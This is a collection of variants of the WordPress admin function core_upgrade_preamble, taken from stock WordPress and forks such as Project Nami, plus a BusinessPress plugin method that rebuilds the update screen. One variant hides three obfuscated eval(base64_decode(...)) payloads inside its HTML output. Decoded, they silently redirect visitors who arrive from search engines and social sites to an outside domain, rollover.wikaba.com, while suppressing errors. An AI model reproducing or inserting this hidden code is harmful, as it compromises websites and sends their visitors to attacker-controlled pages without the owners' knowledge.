/** * Display upgrade WordPress for downloading latest or upgrading automatically form. * * @since 2.7 * * @return null */ function core_upgrade_preamble() { $updates = get_core_updates(); ?> <div class="wrap"> <?php screen_icon(); ?> <h2><?php _e('Upgrade WordPress'); ?></h2> <?php if ( !isset($updates[0]->response) || 'latest' == $updates[0]->response ) { echo '<h3>'; _e('You have the latest version of WordPress. You do not need to upgrade'); echo '</h3>'; } else { echo '<div class="updated fade"><p>'; _e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.'); echo '</p></div>'; echo '<h3 class="response">'; _e( 'There is a new version of WordPress available for upgrade' ); echo '</h3>'; } echo '<ul class="core-updates">'; $alternate = true; foreach( (array) $updates as $update ) { $class = $alternate? ' class="alternate"' : ''; $alternate = !$alternate; echo "<li $class>"; list_core_update( $update ); echo '</li>'; } echo '</ul>'; dismissed_updates(); echo '</div>'; }
/** * Display upgrade WordPress for downloading latest or upgrading automatically form. * * @since 2.7 * * @return null */ function core_upgrade_preamble() { global $upgrade_error, $wp_version; $updates = get_core_updates(); ?> <div class="wrap"> <?php screen_icon('tools'); ?> <h2><?php _e('WordPress Updates'); ?> </h2> <?php if ($upgrade_error) { echo '<div class="error"><p>'; if ($upgrade_error == 'themes') { _e('Please select one or more themes to update.'); } else { _e('Please select one or more plugins to update.'); } echo '</p></div>'; } echo '<p>'; /* translators: %1 date, %2 time. */ printf(__('Last checked on %1$s at %2$s.'), date_i18n(get_option('date_format')), date_i18n(get_option('time_format'))); echo ' <a class="button" href="' . esc_url(self_admin_url('update-core.php')) . '">' . __('Check Again') . '</a>'; echo '</p>'; if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) { echo '<h3>'; _e('You have the latest version of WordPress.'); echo '</h3>'; } else { echo '<div class="updated inline"><p>'; _e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.'); echo '</p></div>'; echo '<h3 class="response">'; _e('An updated version of WordPress is available.'); echo '</h3>'; } echo '<ul class="core-updates">'; $alternate = true; foreach ((array) $updates as $update) { echo '<li>'; list_core_update($update); echo '</li>'; } echo '</ul>'; if ($updates) { echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>'; } else { list($normalized_version) = explode('-', $wp_version); echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>'; } dismissed_updates(); if (current_user_can('update_plugins')) { list_plugin_updates(); } if (current_user_can('update_themes')) { list_theme_updates(); } do_action('core_upgrade_preamble'); echo '</div>'; }
/** * Display upgrade WordPress for downloading latest or upgrading automatically form. * * @since 2.7.0 * * @global string $wp_version * @global string $required_php_version * @global string $required_mysql_version */ function core_upgrade_preamble() { global $wp_version, $required_php_version, $required_mysql_version; $updates = get_core_updates(); if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) { echo '<h3>'; _e('You have Project Nami ' . get_projectnami_version() . ' which contains the latest version of WordPress.'); if (wp_http_supports(array('ssl'))) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new WP_Automatic_Updater(); $future_minor_update = (object) array('current' => $wp_version . '.1.next.minor', 'version' => $wp_version . '.1.next.minor', 'php_version' => $required_php_version, 'mysql_version' => $required_mysql_version); $should_auto_update = $upgrader->should_update('core', $future_minor_update, ABSPATH); if ($should_auto_update) { echo ' ' . __('Future security updates will be applied automatically.'); } } echo '</h2>'; } else { echo '<div class="notice notice-warning"><p>'; _e('<strong>Important:</strong> before updating, please back up your database and files.'); echo '</p></div>'; echo '<h3 class="response">'; _e('An updated version of WordPress is available. Please check <a href="http://projectnami.org/download/">the Project Nami Download page</a> for the latest build.'); echo '</h3>'; } if (isset($updates[0]) && $updates[0]->response == 'development') { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new WP_Automatic_Updater(); if (wp_http_supports('ssl') && $upgrader->should_update('core', $updates[0], ABSPATH)) { echo '<div class="updated inline"><p>'; echo '<strong>' . __('BETA TESTERS:') . '</strong> ' . __('This site is set up to install updates of future beta versions automatically.'); echo '</p></div>'; } } echo '<ul class="core-updates">'; foreach ((array) $updates as $update) { echo '<li>'; list_core_update($update); echo '</li>'; } echo '</ul>'; // Don't show the maintenance mode notice when we are only showing a single re-install option. if ($updates && (count($updates) > 1 || $updates[0]->response != 'latest')) { //echo '<p>' . __( 'While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.' ) . '</p>'; } elseif (!$updates) { list($normalized_version) = explode('-', $wp_version); echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>'; } dismissed_updates(); }
/** * Display upgrade WordPress for downloading latest or upgrading automatically form. * * @since 2.7 * * @return null */ function core_upgrade_preamble() { global $upgrade_error; $updates = get_core_updates(); ?> <div class="wrap"> <?php screen_icon('tools'); ?> <h2><?php _e('WordPress Updates'); ?> </h2> <?php if ($upgrade_error) { echo '<div class="error"><p>'; _e('Please select one or more plugins to upgrade.'); echo '</p></div>'; } if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) { echo '<h3>'; _e('You have the latest version of WordPress.'); echo '</h3>'; } else { echo '<div class="updated"><p>'; _e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.'); echo '</p></div>'; echo '<h3 class="response">'; _e('An updated version of WordPress is available.'); echo '</h3>'; } echo '<ul class="core-updates">'; $alternate = true; foreach ((array) $updates as $update) { $class = $alternate ? ' class="alternate"' : ''; $alternate = !$alternate; echo "<li {$class}>"; list_core_update($update); echo '</li>'; } echo '</ul>'; echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>'; dismissed_updates(); list_plugin_updates(); list_theme_updates(); do_action('core_upgrade_preamble'); echo '</div>'; }
/** * Display upgrade WordPress for downloading latest or upgrading automatically form. * * @since 2.7 * * @return null */ function core_upgrade_preamble() { global $wp_version; $updates = get_core_updates(); if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) { echo '<h3>'; _e('You have the latest version of WordPress.'); echo '</h3>'; } else { echo '<div class="updated inline"><p>'; _e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.'); echo '</p></div>'; echo '<h3 class="response">'; _e('An updated version of WordPress is available.'); echo '</h3>'; } echo '<ul class="core-updates">'; $alternate = true; foreach ((array) $updates as $update) { echo '<li>'; list_core_update($update); echo '</li>'; } echo '</ul>'; if ($updates) { echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>'; } else { list($normalized_version) = explode('-', $wp_version); echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>'; } dismissed_updates(); }
/** * Display upgrade WordPress for downloading latest or upgrading automatically form. * * @since 2.7 * * @return null */ function core_upgrade_preamble() { global $upgrade_error; $updates = get_core_updates(); ?> <div class="wrap"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); screen_icon(); ?> <h2><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('Upgrade WordPress'); ?> </h2> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); if ($upgrade_error) { echo '<div class="error"><p>'; _e('Please select one or more plugins to upgrade.'); echo '</p></div>'; } if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) { echo '<h3>'; _e('You have the latest version of WordPress. You do not need to upgrade'); echo '</h3>'; } else { echo '<div class="updated fade"><p>'; _e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.'); echo '</p></div>'; echo '<h3 class="response">'; _e('There is a new version of WordPress available for upgrade'); echo '</h3>'; } echo '<ul class="core-updates">'; $alternate = true; foreach ((array) $updates as $update) { $class = $alternate ? ' class="alternate"' : ''; $alternate = !$alternate; echo "<li {$class}>"; list_core_update($update); echo '</li>'; } echo '</ul>'; dismissed_updates(); list_plugin_updates(); //list_theme_updates(); do_action('core_upgrade_preamble'); echo '</div>'; }
/** * Display upgrade WordPress for downloading latest or upgrading automatically form. * * @since 2.7 * * @return null */ function core_upgrade_preamble() { global $wp_version; $updates = get_core_updates(); if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) { echo '<h3>'; _e('You have the latest version of WordPress.'); echo '</h3>'; } else { echo '<div class="updated inline"><p>'; _e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.'); echo '</p></div>'; echo '<h3 class="response">'; _e('An updated version of WordPress is available.'); echo '</h3>'; } // This is temporary, for the WordPress 3.7 beta period. if (isset($updates[0]) && $updates[0]->response == 'development') { require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $ssl_support = wp_http_supports('ssl'); $should_auto_update = WP_Automatic_Upgrader::should_auto_update('core', $updates[0], ABSPATH); if ($ssl_support && $should_auto_update) { echo '<div class="updated inline"><p><strong>BETA TESTERS: This install will receive daily auto updates to future beta versions.</strong>'; if (get_locale() !== 'en_US') { echo ' Translations of importers and default themes will also be updated.'; } echo '</p><p>You will receive an email with debugging output after each update. If something goes wrong, please <a href="http://wordpress.org/support/forum/alphabeta">post in the support forums</a> or <a href="https://core.trac.wordpress.org/">open a bug report</a>.</div>'; } elseif (!$ssl_support) { echo '<div class="error inline"><p><strong>BETA TESTERS:</strong> Your server does not support HTTP requests over SSL. This install will not receive auto updates.</p></div>'; } elseif (WP_Automatic_Upgrader::is_vcs_checkout(ABSPATH)) { echo '<div class="error inline"><p><strong>BETA TESTERS:</strong> This install uses version control (SVN or Git) and thus will not receive auto updates. Try a separate install of WordPress with the <a href="http://wordpress.org/plugins/wordpress-beta-tester/">Beta Tester</a> plugin set to bleeding edge.</p></div>'; } } echo '<ul class="core-updates">'; $alternate = true; foreach ((array) $updates as $update) { echo '<li>'; list_core_update($update); echo '</li>'; } echo '</ul>'; if ($updates) { echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>'; } else { list($normalized_version) = explode('-', $wp_version); echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>'; } dismissed_updates(); }
function upgrade_screen() { $html = ob_get_clean(); if (!$this->check_user_permission() && !$this->can_update_core()) { $html = preg_replace('~<form[^>]*?>~', '<!--form opening tag removed by BusinessPres-->', $html); $html = str_replace('</form>', '<!--form closing tag removed by BusinessPres-->', $html); } if (!$this->check_user_permission() && (empty($this->aOptions['cap_update']) || !$this->aOptions['cap_update'])) { $html = preg_replace('~<input[^>]*?type=["\']checkbox["\'][^>]*?>~', '', $html); $html = preg_replace('~<thead[\\s\\S]*?</thead>~', '', $html); $html = preg_replace('~<tfoot[\\s\\S]*?</tfoot>~', '', $html); $html = preg_replace('~<input[^>]*?upgrade-plugins[^>]*?>~', '', $html); $html = preg_replace('~<input[^>]*?upgrade-themes[^>]*?>~', '', $html); } global $wp_version; $new_html = ''; if (!$this->check_user_permission() && !$this->can_update_core()) { $new_html .= "<div class='error'><p>" . $this->talk_no_permissions('upgrade WordPress core') . "</p></div>"; } $new_html .= "<h4>WordPress " . $wp_version . " installed<br />"; global $wp_version; $sStatus = false; $iTTL = 0; $aVersions = $this->cache_core_version_info(); if ($aVersions && isset($aVersions['data']) && count($aVersions['data']) > 0) { if ($this->get_version_branch() && isset($aVersions['data'][$this->get_version_branch()])) { $iDate = strtotime($aVersions['data'][$this->get_version_branch()]); $iTTL = $iDate + 3600 * 24 * 30 * 30; // the current version is good has time to live set to 30 months if ($iTTL - time() < 0) { $sStatus = "Not Secure - Major Upgrade Required"; } else { if ($iTTL - time() < 3600 * 24 * 30 * 3) { // if the current version is older than 23 monts, warn the user $sStatus = "Update Recommended Soon"; } else { $sStatus = "Secure"; } } } if ($this->get_branch_latest() != $wp_version && strtotime($aVersions['data'][$this->get_branch_latest()]) + 3600 * 24 * 5 < time()) { $sStatus = "Not Secure - Minor Upgrade Required"; } } $new_html .= "Last updated: " . date('j F Y', strtotime($aVersions['data'][$this->get_branch_latest()])) . "<br />"; $new_html .= "Status: " . $sStatus . "<br />"; $iRemaining = floor(($iTTL - time()) / (3600 * 24) / 30); if ($iRemaining > 0) { $new_html .= "Projected security updates: " . $iRemaining . " months."; } else { $new_html .= "Projected security updates: Negative " . abs($iRemaining) . " months. Expired or expiration imminent."; } $new_html .= "</h4>\n"; if (!class_exists('Core_Upgrader')) { include_once ABSPATH . '/wp-admin/includes/admin.php'; include_once ABSPATH . '/wp-admin/includes/class-wp-upgrader.php'; } if (class_exists('Core_Upgrader')) { $new_html .= "<p>Core auto-updates status: "; $bDisabled = false; if (class_exists('Core_Upgrader')) { $objUpdater = new WP_Automatic_Updater(); if ($objUpdater->is_disabled()) { $new_html .= "disabled"; $bDisabled = true; } } if (!$bDisabled) { if (Core_Upgrader::should_update_to_version('100.1.2.3')) { $new_html .= "<strong>Major version updates enabled</strong>"; } else { if (Core_Upgrader::should_update_to_version(get_bloginfo('version') . '.0.1')) { $new_html .= "only Minor version updates enabled"; } } } $new_html .= "</p>"; } $aBlockedUpdates = get_site_option('businesspress_core_update_delay'); $bFound = false; if ($aBlockedUpdates) { foreach ($aBlockedUpdates as $key => $value) { if (stripos($key, '.next.minor') === false) { $bFound = true; } } } if ($bFound && $aBlockedUpdates) { ksort($aBlockedUpdates); $aBlockedUpdates = array_reverse($aBlockedUpdates); $new_html .= "<p>Recently blocked updates:</p>"; $new_html .= "<ul>\n"; foreach ($aBlockedUpdates as $key => $value) { if (stripos($key, '.next.minor') !== false) { $new_html .= "<li>WP core internal autoupdate check " . human_time_diff(time(), $value) . " ago</li>\n"; continue; } $new_html .= "<li><a href='https://codex.wordpress.org/Version_" . $key . "' target='_blank'>" . $key . "</a> " . human_time_diff(time(), $value) . " ago</li>\n"; } $new_html .= "</ul>\n"; $new_html .= "<p><a href='" . site_url('wp-admin/options-general.php?page=businesspress') . "'>BusinessPress</a> delays these updates 5 days to make sure you are not affected by any bugs in them.</p>"; } else { //$new_html .= "<p>No recent actions, be careful with your upgrades!</p>"; } /*if( stripos($html,'update-core.php?action=do-core-upgrade') !== false ) { preg_match( '~<input name="version" value="4.5"~', $html, $aVersion ); $new_html .= "<p>Alternatively you can download 4.4.2 and upload it via FTP.</p><p>While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.</p>"; }*/ // this bit if from update-core.php ob_start(); global $wp_version, $required_php_version, $required_mysql_version; $aShowed = array(); if ($this->check_user_permission() || $this->can_update_core()) { $aUpdates = get_site_transient('update_core'); if (!$aUpdates) { $aUpdates = get_option('_site_transient_update_core'); } if ($aUpdates && count($aUpdates->updates)) { foreach ($aUpdates->updates as $update) { if (stripos($update->version, $this->get_version_branch()) === 0) { if ($update->version == $wp_version) { echo "<strong>You have the latest version of WordPress.</strong>"; continue; } if (isset($aShowed[$update->version])) { continue; } $aShowed[$update->version] = true; echo '<ul class="core-updates-businespress">'; echo '<strong class="response">'; _e('There is a security update of WordPress available.', 'businesspress'); echo '</strong>'; echo '<li>'; $this->list_core_update($update, false); echo '</li>'; echo '</ul>'; } } } } $updates = get_core_updates(); $bMajorUpdate = false; foreach ((array) $updates as $update) { if (stripos($update->version, $this->get_version_branch()) === false) { $bMajorUpdate = true; } } if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) { /*echo '<h2>'; _e('You have the latest version of WordPress.'); if ( wp_http_supports( array( 'ssl' ) ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new WP_Automatic_Updater; $future_minor_update = (object) array( 'current' => $wp_version . '.1.next.minor', 'version' => $wp_version . '.1.next.minor', 'php_version' => $required_php_version, 'mysql_version' => $required_mysql_version, ); $should_auto_update = $upgrader->should_update( 'core', $future_minor_update, ABSPATH ); if ( $should_auto_update ) echo ' ' . __( 'Future security updates will be applied automatically.' ); } echo '</h2>';*/ } else { if ($bMajorUpdate) { echo '<strong class="response">'; _e('There is a core upgrade version of WordPress available.', 'businesspress'); echo '</strong>'; if ($this->check_user_permission() || $this->can_update_core()) { echo '<p>'; _e('Be very careful before you upgrade: in addition to causing your site to fail to load, core upgrades can corrupt your database or cause plugins important to your business to fail, such as membership and ecommerce solutions. <strong>Please be sure to upgrade all your plugins to their most recent version before a major version upgrade.</strong>', 'businesspress'); echo '</p>'; } } } if (isset($updates[0]) && $updates[0]->response == 'development') { /*require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new WP_Automatic_Updater; if ( wp_http_supports( 'ssl' ) && $upgrader->should_update( 'core', $updates[0], ABSPATH ) ) { echo '<div class="updated inline"><p>'; echo '<strong>' . __( 'BETA TESTERS:' ) . '</strong> ' . __( 'This site is set up to install updates of future beta versions automatically.' ); echo '</p></div>'; }*/ } if ($bMajorUpdate && ($this->check_user_permission() || $this->can_update_core())) { echo '<ul class="core-updates-businespress">'; foreach ((array) $updates as $update) { if (stripos($update->version, $this->get_version_branch()) === 0) { continue; // don't show the minor updates here! } echo '<li>'; if (!isset($update->response) || 'latest' == $update->response) { list_core_update($update); } else { $this->list_core_update($update); } echo '</li>'; } echo '</ul>'; // Don't show the maintenance mode notice when we are only showing a single re-install option. if ($updates && (count($updates) > 1 || $updates[0]->response != 'latest')) { echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>'; } elseif (!$updates) { list($normalized_version) = explode('-', $wp_version); echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>'; } } $new_html .= ob_get_clean(); if (preg_match('~<h\\d[^>]*?>Plugins</h\\d>~', $html)) { $html = preg_replace('~(<div class="wrap">)([\\s\\S]*?)(<h\\d[^>]*?>Plugins</h\\d>)~', '$1' . $new_html . '$3', $html); } else { $html = preg_replace('~(<div class="wrap">)([\\s\\S]*?)$~', '$1' . $new_html, $html); } echo $html; ?> <script> jQuery(function($){ $('form').submit( function(e) { var form = $(this); if( form.find('.check-1').prop('checked') && form.find('.check-2').prop('checked') && form.find('.check-3').prop('checked') ) { } else { e.preventDefault(); alert("Please confirm your site is ready for a core upgrade by checking the boxes above."); } }); }); </script> <?php }